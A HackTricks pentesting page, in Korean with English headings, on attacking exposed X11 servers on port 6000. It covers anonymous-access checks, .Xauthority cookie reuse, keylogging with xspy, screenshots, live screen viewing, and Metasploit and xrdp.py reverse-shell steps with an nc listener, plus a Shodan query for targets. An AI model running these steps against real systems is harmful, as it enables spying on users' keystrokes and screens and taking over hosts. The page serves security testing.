# 6000 - Pentesting X11 {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ๐Ÿ’ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ ํ•ดํ‚น์˜ ์Šค๋ฆด๊ณผ ๋„์ „์— ๋Œ€ํ•ด ๊นŠ์ด ์žˆ๋Š” ์ฝ˜ํ…์ธ ์— ์ฐธ์—ฌํ•˜์„ธ์š”. **Real-Time Hack News**\ ์‹ค์‹œ๊ฐ„ ๋‰ด์Šค์™€ ํ†ต์ฐฐ๋ ฅ์„ ํ†ตํ•ด ๋น ๋ฅด๊ฒŒ ๋ณ€ํ™”ํ•˜๋Š” ํ•ดํ‚น ์„ธ๊ณ„์˜ ์ตœ์‹  ์ •๋ณด๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”. **Latest Announcements**\ ์ƒˆ๋กœ์šด ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ์ถœ์‹œ ๋ฐ ์ค‘์š”ํ•œ ํ”Œ๋žซํผ ์—…๋ฐ์ดํŠธ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”. **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! ## Basic Information **X Window System** (X)๋Š” UNIX ๊ธฐ๋ฐ˜ ์šด์˜ ์ฒด์ œ์—์„œ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ๋‹ค๋ชฉ์  ์œˆ๋„์šฐ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๊ฐœ๋ณ„ ํ”„๋กœ๊ทธ๋žจ์ด ์‚ฌ์šฉ์ž ์ธํ„ฐํŽ˜์ด์Šค ๋””์ž์ธ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ทธ๋ž˜ํ”ฝ **user interfaces (GUIs)**๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์œ ์—ฐ์„ฑ์€ X ํ™˜๊ฒฝ ๋‚ด์—์„œ ๋‹ค์–‘ํ•œ ๋งž์ถคํ˜• ๊ฒฝํ—˜์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. **Default port:** 6000 ``` PORT STATE SERVICE 6000/tcp open X11 ``` ## Enumeration **์ต๋ช… ์—ฐ๊ฒฐ** ํ™•์ธ: ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 ``` #### Local Enumeration ์‚ฌ์šฉ์ž์˜ ํ™ˆ ํด๋”์— ์žˆ๋Š” ํŒŒ์ผ **`.Xauthority`**๋Š” **X11์˜ ์ธ์ฆ**์— **์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค**. [**์—ฌ๊ธฐ**](https://stackoverflow.com/a/37367518)์—์„œ: ```bash $ xxd ~/.Xauthority 00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M 00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE- 00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X 00000030: 041d ef ... ``` > MIT-magic-cookie-1: 128๋น„ํŠธ ํ‚ค(โ€œ์ฟ ํ‚คโ€)๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด๋ฅผ \~/.Xauthority(๋˜๋Š” XAUTHORITY envvar๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ์œ„์น˜)์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ํด๋ผ์ด์–ธํŠธ๋Š” ์ด๋ฅผ ์„œ๋ฒ„์— ํ‰๋ฌธ์œผ๋กœ ์ „์†กํ•ฉ๋‹ˆ๋‹ค! ์„œ๋ฒ„๋Š” ์ด โ€œ์ฟ ํ‚คโ€์˜ ๋ณต์‚ฌ๋ณธ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ์žˆ๋‹ค๋ฉด ์—ฐ๊ฒฐ์ด ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค. ํ‚ค๋Š” DMX์— ์˜ํ•ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. {% hint style="warning" %} **์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด** ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: **`export XAUTHORITY=/path/to/.Xauthority`** {% endhint %} #### ๋กœ์ปฌ ์—ด๊ฑฐ ์„ธ์…˜ ```bash $ w 23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session ``` ์˜ˆ์ œ์—์„œ `localhost:0`์€ xfce4-session์„ ์‹คํ–‰ํ•˜๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ## ์—ฐ๊ฒฐ ํ™•์ธ ```bash xdpyinfo -display : xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0 ``` ## ํ‚ค๋กœ๊น… [xspy](http://tools.kali.org/sniffingspoofing/xspy)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ‚ค๋ณด๋“œ ์ž…๋ ฅ์„ ์Šค๋‹ˆํ•‘ํ•ฉ๋‹ˆ๋‹ค. ์ƒ˜ํ”Œ ์ถœ๋ ฅ: ``` xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab ``` ## ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜ ```bash xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png ``` ## ์›๊ฒฉ ๋ฐ์Šคํฌํ†ฑ ๋ณด๊ธฐ Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ``` ./xrdp.py ``` Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) ๋จผ์ € xwininfo๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฐฝ์˜ ID๋ฅผ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ``` xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1024 Height: 768 Depth: 16 Visual: 0x21 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x20 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1024x768+0+0 ``` **XWatchwin** **์‹ค์‹œ๊ฐ„ ๋ณด๊ธฐ**๋ฅผ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ```bash ./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` ## ์…ธ ์–ป๊ธฐ ``` msf> use exploit/unix/x11/x11_keyboard_exec ``` **๋ฆฌ๋ฒ„์Šค ์…ธ:** Xrdp๋Š” ๋˜ํ•œ Netcat์„ ํ†ตํ•ด ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”: ```bash ./xrdp.py \ โ€“no-disp ``` ์ธํ„ฐํŽ˜์ด์Šค์—์„œ **R-shell ์˜ต์…˜**์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋กœ์ปฌ ์‹œ์Šคํ…œ์—์„œ ํฌํŠธ 5555์—์„œ **Netcat ๋ฆฌ์Šค๋„ˆ**๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ```bash nc -lvp 5555 ``` ๊ทธ๋Ÿฐ ๋‹ค์Œ, **R-Shell** ์˜ต์…˜์— IP ์ฃผ์†Œ์™€ ํฌํŠธ๋ฅผ ์ž…๋ ฅํ•˜๊ณ  **R-shell**์„ ํด๋ฆญํ•˜์—ฌ ์…ธ์„ ์–ป์Šต๋‹ˆ๋‹ค. ## References * [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) * [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) * [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ## Shodan * `port:6000 x11`
๊ฒฝํ—˜์ด ํ’๋ถ€ํ•œ ํ•ด์ปค ๋ฐ ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ํ—Œํ„ฐ์™€ ์†Œํ†ตํ•˜๊ธฐ ์œ„ํ•ด [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ์„œ๋ฒ„์— ์ฐธ์—ฌํ•˜์„ธ์š”! **Hacking Insights**\ ํ•ดํ‚น์˜ ์Šค๋ฆด๊ณผ ๋„์ „์— ๋Œ€ํ•ด ๊นŠ์ด ์žˆ๋Š” ์ฝ˜ํ…์ธ ์— ์ฐธ์—ฌํ•˜์„ธ์š”. **Real-Time Hack News**\ ์‹ค์‹œ๊ฐ„ ๋‰ด์Šค์™€ ํ†ต์ฐฐ๋ ฅ์„ ํ†ตํ•ด ๋น ๋ฅด๊ฒŒ ๋ณ€ํ™”ํ•˜๋Š” ํ•ดํ‚น ์„ธ๊ณ„์˜ ์ตœ์‹  ์ •๋ณด๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”. **Latest Announcements**\ ์ƒˆ๋กœ์šด ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ์ถœ์‹œ ๋ฐ ์ค‘์š”ํ•œ ํ”Œ๋žซํผ ์—…๋ฐ์ดํŠธ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”. **์ง€๊ธˆ** [**Discord**](https://discord.com/invite/N3FrSbmwdy)์— ์ฐธ์—ฌํ•˜์—ฌ ์ตœ๊ณ ์˜ ํ•ด์ปค๋“ค๊ณผ ํ˜‘์—…์„ ์‹œ์ž‘ํ•˜์„ธ์š”! {% hint style="success" %} AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ! * ๐Ÿ’ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.** * [**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.
{% endhint %}